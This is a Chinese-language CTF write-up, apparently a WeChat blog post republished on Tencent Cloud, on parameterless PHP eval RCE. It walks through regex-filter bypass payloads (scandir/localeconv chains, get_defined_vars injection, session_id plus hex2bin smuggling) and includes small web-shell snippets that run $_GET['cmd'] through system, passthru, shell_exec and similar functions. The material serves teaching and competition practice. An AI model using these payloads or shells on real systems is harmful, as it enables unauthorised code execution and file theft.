前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >【CTF竞赛】无参数RCE总结

【CTF竞赛】无参数RCE总结

作者头像
安全小王子
发布2020-12-14 16:27:46
3.9K0
发布2020-12-14 16:27:46
举报
文章被收录于专栏:betasecbetasec

在CTF竞赛过程中,我们时常会遇到一种类型的题,那就是无参数命令执行。接下来通过例题的形式针对无参数命令执行常见技巧和利用方式进行了总结。

01

无参RCE示例

代码语言:javascript
复制
<?php 
echo "flag在哪里呢?<br>";
if(isset($_GET['exp'])){
    if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {  
        if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['exp'])) {
            if (!preg_match('/na|info|dec|oct|pi|log/i', $_GET['exp'])) {

                @eval($_GET['exp']);
            }
            else{
                die("还差一点哦!");
            }
        }
        else{
            die("再好好想想!");
        }
    }
    else{
        die("还想读flag,臭弟弟!");
    }
}
highlight_file(__FILE__);
?>

源码分析:

  • 利用GET方式传入exp参数;
  • 代码中过滤了data/filter/php/phar伪协议,不能以伪协议形式直接读取文件;
  • (?R)引用当前表达式,后面加了?递归调用。允许执行类似a(b(c()))格式的无参数函数;
  • 正则匹配还过滤了na/info等关键字,导致phpinfo()等函数不能使用;
  • eval($_GET[‘exp’]); 将输入的参数以php代码执行;

02

方法(一)

1. 查看当前目录下的文件,此处利用scandir()实现:

代码语言:javascript
复制
<?php print_r(scandir(".")); #表示获取当前目录下的文件;?>
代码语言:javascript
复制
<?php print_r(scandir("../"));  #表示获取上一级目录下的文件;?>

于是,可以利用该函数,查看目标系统目录,寻找包含flag的文件位置。由于正则表达式限制,不能再scandir('.')函数中加入参数。故此处使用current(localeconv())表示“.”。其中localeconv()函数返回一包含本地数字及货币格式信息的数组,其中数组的第一项就是"."。current() 返回数组中的当前单元, 默认取第一个值。

代码语言:javascript
复制
http://127.0.0.1/ctf/web/web-5/index.php?exp=print_r(scandir(pos(localeconv())));
http://127.0.0.1/ctf/web/web-5/index.php?exp=print_r(scandir(current(localeconv())));

2. 接下来就要考虑如何读取flag,读取文件内容我们可以想到的函数有:

  • file_get_contents() #把整个文件读入一个字符串中;
  • file #把整个文件读入一个数组中;
  • readfile() #读入一个文件并写入到输出缓冲;
  • highlight_file() #对文件进行语法高亮显示;
  • show_source() #对文件进行语法高亮显示;

3. 刚刚列举的几个函数,都需要将要读取的文件作为参数进行读取操作,由于题中代码用正则表达式限制,不能接收参数,该如何将文件名写道函数里面,然后读取文件内容呢?

  • 利用array_flip()函数将读取当前目录的键和值进行反转,然后读取其中的值即可获得flag.php
  • 其中的键可以利用随机数函数array_rand(),进行随机生成;
代码语言:javascript
复制
http://127.0.0.1/ctf/web/web-5/index.php?exp=pprint_r(array_rand(array_flip(scandir(pos(localeconv())))));

由上图可以看出,通过array_rand()能够随机出flag.php文件,然后利用readfile()函数,读取该文件:

代码语言:javascript
复制
http://127.0.0.1/ctf/web/web-5/index.php?exp=readfile(array_rand(array_flip(scandir(pos(localeconv())))));

03

方法(二)

除了调用php自身的库函数读取文件内容以外,还可以通过调用php的执行命令函数,读取flag文件内容。常见的PHP的执行命令函数如下:

system(): 执行system()函数后,在页面中直接返回显示结果;

代码语言:javascript
复制
<?php 
$cmd=$_GET['cmd']; 
system($cmd) 
?>

执行结果:

popen():打开一个指向进程的管道,该进程由派生给定的 command 命令执行而产生。返回一个和 fopen() 所返回的相同的文件指针,只不过它是单向的(只能用于读或写)并且必须用 pclose() 来关闭。此指针可以用于 fgets(),fgetss() 和 fwrite()。

代码语言:javascript
复制
<?php 
$cmd=$_GET['cmd']; 
$fd = popen($cmd, 'r'); 
while($s=fgets($fd)){ 
print_r($s); 
} 
?>

passthru():

代码语言:javascript
复制
<?php 
$cmd=$_GET['cmd']; 
passthru($cmd); 
?>

shell_exec():需通过PHP的输出函数将结果输出;

代码语言:javascript
复制
<?php 
$cmd=$_GET['cmd']; 
$a=shell_exec($cmd); 
echo $a; 
?>

执行结果:

proc_open():

代码语言:javascript
复制
<php   
$command=$_GET['command'];     
$descriptorspec=array(     0=>array('pipe','r'),     1=>array('pipe','w'),     2=>array('pipe','w')   );   
$handle=proc_open($command,$descriptorspec,$pipes,NULL);   
if(!is_resource($handle)){
die('proc_open failed');   
}   
while($s=fgets($pipes[1])){print_r($s);   
}
while($s=fgets($pipes[2])){print_r($s);   
}  
fclose($pipes[0]);   
fclose($pipes[1]);   
fclose($pipes[2]);   
proc_close($handle);   
?>

exec(): exec执行command命令,但是不会输出全部结果,而是返回结果的最后一行,如果想得到全部的结果,可使用第二个参数,让其输出到一个数组,数组的每一个记录代表了输出的每一行。

代码语言:javascript
复制
string exec ( string $command [, array &$output [, int &$return_var ]] )
<?php 
$command=$_GET['cmd']; 
$cmd=exec($command,$output); 
echo $cmd; 
echo "<br>"; 
$length=count($output); 
for($i=0;$i<$length;$i++){ 
echo $output[$i]; 
echo "<br>"; 
} 
?>

执行结果:

`$command` :

代码语言:javascript
复制
<?php 
$cmd=$_GET['cmd']; 
$a=`$cmd`;
 echo $a; 
 ?>

执行结果:

1. 在无需输入参数的情况下,获取外界变量值

此处,用到一个函数,get_defined_vars ( void ) ,此函数返回一个包含所有已定义变量列表的多维数组,这些变量包括环境变量、服务器变量和用户定义的变量等。

代码语言:javascript
复制
http://127.0.0.1/ctf/web/web-5/index.php?exp=print_r(get_defined_vars());&b=1
代码语言:javascript
复制
http://127.0.0.1/ctf/web/web-5/index.php?exp=var_dump(get_defined_vars());&b=1

2. 提取变量b,并输出对应的值1

通过输出的值可以看出变量b在参数数组中为第一个值,故可以用current函数,current函数用于初始指向插入到数组中的第一个单元。

此时b值,又为数组中的最后一位,可以用到end()函数,end()函数作用是将 array 的内部指针移动到最后一个单元并返回其值。

代码语言:javascript
复制
http://127.0.0.1/ctf/web/web-5/index.php?exp=var_dump(end(current(get_defined_vars())));&b=1

3. 命令执行

于是,最后一步,配合使用eval()函数,将b后面参数转换成php代码进行执行,此处可以使用上面介绍的几种命令执行函数获取flag。

代码语言:javascript
复制
http://127.0.0.1/ctf/web/web-5/index.php?exp=eval(end(current(get_defined_vars())));&b=phpinfo();
代码语言:javascript
复制
http://127.0.0.1/ctf/web/web-5/index.php?exp=eval(end(current(get_defined_vars())));&b=system(%22dir%22);

04

方法(三)

通常情况下我们通过get、post传递参数,其实也可以利用http headers传递参数。此处就给大家介绍一种利用http headers头部的session的函数获取flag内容。通过查阅PHP手册,可以发现session_id() 可以用来获取/设置当前会话 ID。接下来就介绍下session_id()函数。

当在代码中没有开启session会话时,提交请求中是不包含session字段内容的,如下所示:

代码语言:javascript
复制
<?php 
$aa = $_GET['cmd']; 
echo $aa; 
?>

当我们通过session_start()函数,开启会话以后,在burpsuite拦截的数据包中,可以看到PHPSESSIONID字段。

代码语言:javascript
复制
<?php 
$aa = $_GET['cmd']; 
echo $aa; 
session_start(); 
?>

也可以输出session_id相关内容,并且session_id我们也可以认为控制输入。

代码语言:javascript
复制
<?php 
$aa = $_GET['cmd']; 
echo $aa; 
session_start(); 
echo session_id(); 
?>

由于,session_id()中,仅允许会话 ID 中使用以下字符:a-z A-Z 0-9 ,(逗号)和 - 减号);故此时使用十六进制转换,将phpinfo();转换成十六进制,在函数中又将其转换成对应的字符串形式即可。相关代码如下所示:

代码语言:javascript
复制
<?php 
$aa = $_GET['cmd']; 
echo $aa; session_start(); 
eval(hex2bin(session_id())); 
?>

我们可以利用该功能,去完成例题所述的CTF题型:

代码语言:javascript
复制
http://127.0.0.1/ctf/web/web-5/index.php?exp=eval(hex2bin(session_id(session_start())));

05

再来做一道题?

代码语言:javascript
复制
<?php
if (!isset($_GET['code'])){
header('Refresh:0;url=./phpinfo.php?code=phpinfo();');
}

if ($_GET['code'] === 'phpinfo();')
{
phpinfo();
}
if (preg_match('/readfile|if|time|local|sqrt|na|strlen|info|path|rand|dec|bin|hex|oct|pi|exp|log|var_dump|echo|print/i', $_GET['code'])) {
echo ('你输入的不对呕!!!!');
}else{
if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) {
        eval($_GET['code']);
}else{
echo('你输入的还是不对呕!!!!');
}
}
?>

下期给大家公布解题答案!

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2020-12-02,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 betasec 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • `$command` :
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档